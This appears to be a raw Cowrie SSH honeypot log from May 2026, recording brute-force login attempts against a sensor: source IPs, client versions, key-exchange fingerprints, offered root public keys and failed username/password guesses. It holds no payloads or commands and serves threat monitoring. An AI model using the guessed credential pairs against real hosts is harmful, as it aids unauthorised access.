{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:31:8c:bd:52:a1:97:58:c7:26:f1:05:1d:89:01:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzQgwz30UPMVaZRFtUBpyiwUI9U+pcxNhwxoNyAtCQ9G8qawzRnYSkPLlUsDRTTcJaxuA5Lxmh28W4jRFWyc8GTwsXV9IfbZB1ZEhk/dMm070Bv+b/WMF2OR0gTd6C6iHatfbJTPXCIY17SD+LVEYC/ZzyyTHboBY2UNssFD4M8cYqvl7E4q+26Ia0FW2Jnwwb7h7rbVBTRDos6HaVLMbREoDPI5tV0vCq2I9qDO2TlXep7SqgYtaHCZmC80Ohj5IaysU1TKtqugvdQc+U1ZDoEGLa6goE448yzwZLLAfIrDd/mqRb3W91w4+UVByVLW0D5tX3PX9RvSBcgiuHRbhtw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:31:8c:bd:52:a1:97:58:c7:26:f1:05:1d:89:01:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:00.318350Z","src_ip":"68.235.52.99","session":"373833fa8adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:31:8c:bd:52:a1:97:58:c7:26:f1:05:1d:89:01:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzQgwz30UPMVaZRFtUBpyiwUI9U+pcxNhwxoNyAtCQ9G8qawzRnYSkPLlUsDRTTcJaxuA5Lxmh28W4jRFWyc8GTwsXV9IfbZB1ZEhk/dMm070Bv+b/WMF2OR0gTd6C6iHatfbJTPXCIY17SD+LVEYC/ZzyyTHboBY2UNssFD4M8cYqvl7E4q+26Ia0FW2Jnwwb7h7rbVBTRDos6HaVLMbREoDPI5tV0vCq2I9qDO2TlXep7SqgYtaHCZmC80Ohj5IaysU1TKtqugvdQc+U1ZDoEGLa6goE448yzwZLLAfIrDd/mqRb3W91w4+UVByVLW0D5tX3PX9RvSBcgiuHRbhtw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:00.322176Z","src_ip":"68.235.52.99","session":"373833fa8adc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:9a:18:22:3b:9a:9e:58:7a:1a:6a:92:58:eb:97:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjAqIw9Dzn21y1zlTp8mAduBYCxQpDLrHz+0VtjAuWqEDIwy4Lki7QYqWfBqbNmnNU/+BZZF96YAKw5k15EbwzMOJFfp88eSRNtE7U1ifiOxNmaQuXf2cAS4aCczbjA5n+gDxSzW/B9OYxV6H+ZUa4U+Eqxz2Ht7/IcIFZpnF6m8V/x8fDnjtxd2EooFlOJkIdby09BJKZ5+yf6f3aP40GkjdLT4mC5yK5ChYJxYTX6ee+sELeYu5fB1mSDY58tSnaxLogrdhQ6o39cRNxc/uGDV2N2+3n5BtblndZR7LDxW2jClj0fQUu094eES9b+cwKrSzxJI3Wm03ze9SM7SJo6i2vuUYn1GQcso0/eo32AIdwvk96SztO2+n02dlq8l/QRu5naFEknh1y/TJscAo43GaMgMb4zXXLZ9j1vB69oU/UVG2BDXx5fhwPks+TpL1JdRXYbJd8JnAmBY9cZlGggHLdq+i0oLkTe43Qa5uLs88KqXMNmo0uAev6q2btXwgGNLGVoVgMO1VbTCyZNXeHs6olhhCHYmqCg23bCEYC1sbHT4iwrQ+dhddrPsvvV0nJsyUGpY00BCauSdVmHJ8dAb1/Zk3YPomxfCDZqhTAAInz/mauNqJaFS3HPkaPYaCUjToMJCV6AGGVMYjLYnpbVQSkpUtITxziH5D8GBr2gw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:9a:18:22:3b:9a:9e:58:7a:1a:6a:92:58:eb:97:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:00.418335Z","src_ip":"68.235.52.99","session":"373833fa8adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:9a:18:22:3b:9a:9e:58:7a:1a:6a:92:58:eb:97:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjAqIw9Dzn21y1zlTp8mAduBYCxQpDLrHz+0VtjAuWqEDIwy4Lki7QYqWfBqbNmnNU/+BZZF96YAKw5k15EbwzMOJFfp88eSRNtE7U1ifiOxNmaQuXf2cAS4aCczbjA5n+gDxSzW/B9OYxV6H+ZUa4U+Eqxz2Ht7/IcIFZpnF6m8V/x8fDnjtxd2EooFlOJkIdby09BJKZ5+yf6f3aP40GkjdLT4mC5yK5ChYJxYTX6ee+sELeYu5fB1mSDY58tSnaxLogrdhQ6o39cRNxc/uGDV2N2+3n5BtblndZR7LDxW2jClj0fQUu094eES9b+cwKrSzxJI3Wm03ze9SM7SJo6i2vuUYn1GQcso0/eo32AIdwvk96SztO2+n02dlq8l/QRu5naFEknh1y/TJscAo43GaMgMb4zXXLZ9j1vB69oU/UVG2BDXx5fhwPks+TpL1JdRXYbJd8JnAmBY9cZlGggHLdq+i0oLkTe43Qa5uLs88KqXMNmo0uAev6q2btXwgGNLGVoVgMO1VbTCyZNXeHs6olhhCHYmqCg23bCEYC1sbHT4iwrQ+dhddrPsvvV0nJsyUGpY00BCauSdVmHJ8dAb1/Zk3YPomxfCDZqhTAAInz/mauNqJaFS3HPkaPYaCUjToMJCV6AGGVMYjLYnpbVQSkpUtITxziH5D8GBr2gw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:00.422455Z","src_ip":"68.235.52.99","session":"373833fa8adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:00.475751Z","src_ip":"68.235.52.99","session":"373833fa8adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:00.547116Z","src_ip":"136.232.11.10","session":"ceea9556b8fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":48236,"dst_ip":"10.17.0.5","dst_port":22,"session":"12c6bf9c7743","protocol":"ssh","message":"New connection: 200.39.46.41:48236 (10.17.0.5:22) [session: 12c6bf9c7743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:05.181249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:05.188507Z","src_ip":"200.39.46.41","session":"12c6bf9c7743","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:05.332028Z","src_ip":"200.39.46.41","session":"12c6bf9c7743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":34784,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6dee816344f","protocol":"ssh","message":"New connection: 69.48.205.231:34784 (10.17.0.5:22) [session: e6dee816344f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:05.482807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:05.489174Z","src_ip":"69.48.205.231","session":"e6dee816344f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:05.541235Z","src_ip":"69.48.205.231","session":"e6dee816344f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle@321","message":"login attempt [root/oracle@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:05.786622Z","src_ip":"69.48.205.231","session":"e6dee816344f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:05.937406Z","src_ip":"200.39.46.41","session":"12c6bf9c7743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:06.842257Z","src_ip":"69.48.205.231","session":"e6dee816344f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:07.082608Z","src_ip":"200.39.46.41","session":"12c6bf9c7743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":47234,"dst_ip":"10.17.0.5","dst_port":22,"session":"788aabc5d4df","protocol":"ssh","message":"New connection: 45.137.172.116:47234 (10.17.0.5:22) [session: 788aabc5d4df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:09.618603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:09.624418Z","src_ip":"45.137.172.116","session":"788aabc5d4df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:09.724285Z","src_ip":"45.137.172.116","session":"788aabc5d4df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"s0p0rt3","message":"login attempt [soporte/s0p0rt3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:10.149079Z","src_ip":"45.137.172.116","session":"788aabc5d4df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:11.250765Z","src_ip":"45.137.172.116","session":"788aabc5d4df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":49872,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbd90b627e21","protocol":"ssh","message":"New connection: 43.242.203.160:49872 (159.203.135.109:22) [session: dbd90b627e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:26.789811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:26.794778Z","src_ip":"43.242.203.160","session":"dbd90b627e21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:27.085927Z","src_ip":"43.242.203.160","session":"dbd90b627e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vasilica","message":"login attempt [root/vasilica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:28.267186Z","src_ip":"43.242.203.160","session":"dbd90b627e21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":37682,"dst_ip":"10.17.0.5","dst_port":22,"session":"454963be60b8","protocol":"ssh","message":"New connection: 202.51.214.99:37682 (10.17.0.5:22) [session: 454963be60b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:29.285080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:29.290286Z","src_ip":"202.51.214.99","session":"454963be60b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:29.530272Z","src_ip":"202.51.214.99","session":"454963be60b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:29.572202Z","src_ip":"43.242.203.160","session":"dbd90b627e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:30.556827Z","src_ip":"202.51.214.99","session":"454963be60b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:31.800029Z","src_ip":"202.51.214.99","session":"454963be60b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.245.47","src_port":43974,"dst_ip":"10.17.0.5","dst_port":22,"session":"3eb22ee1c4e3","protocol":"ssh","message":"New connection: 185.145.245.47:43974 (10.17.0.5:22) [session: 3eb22ee1c4e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:41.199367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:41.204358Z","src_ip":"185.145.245.47","session":"3eb22ee1c4e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:41.312488Z","src_ip":"185.145.245.47","session":"3eb22ee1c4e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:2c:f2:84:72:26:89:2b:6a:cb:a4:f6:a5:d5:bc:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsa7kbfGlNJ/m/gB/510hTjn3XTSgEYGUhwrbMvpdAupkD/2TSahLe3lXFbnb+jXNSD/dff6jmA4uVCdygBGQWr64Vyiia6/7eg/n2FQ02tpRl+xf85i4XKZK8+ec1Wm4Z6yeJPG44GJmxNds4C5jHsKOlCN2MqDPGaeLscz2l5Yk9aXOIIVvBuMwj4eAwsLXTRigiXiYDRp/g4hfs2MPG7nUmcgNNMr0rU7cImadeFXrpZUX5BKleH7QyiahcnFR3BzNnCSLIL2uZ+LCDUGu+M9jqq3wZOsdJXtNYBciHrOLfF7ntBdID66zG4TO01ckfwenkRHGiTtkCGCMu8/nLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:2c:f2:84:72:26:89:2b:6a:cb:a4:f6:a5:d5:bc:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:41.825963Z","src_ip":"185.145.245.47","session":"3eb22ee1c4e3","protocol":"ssh"}
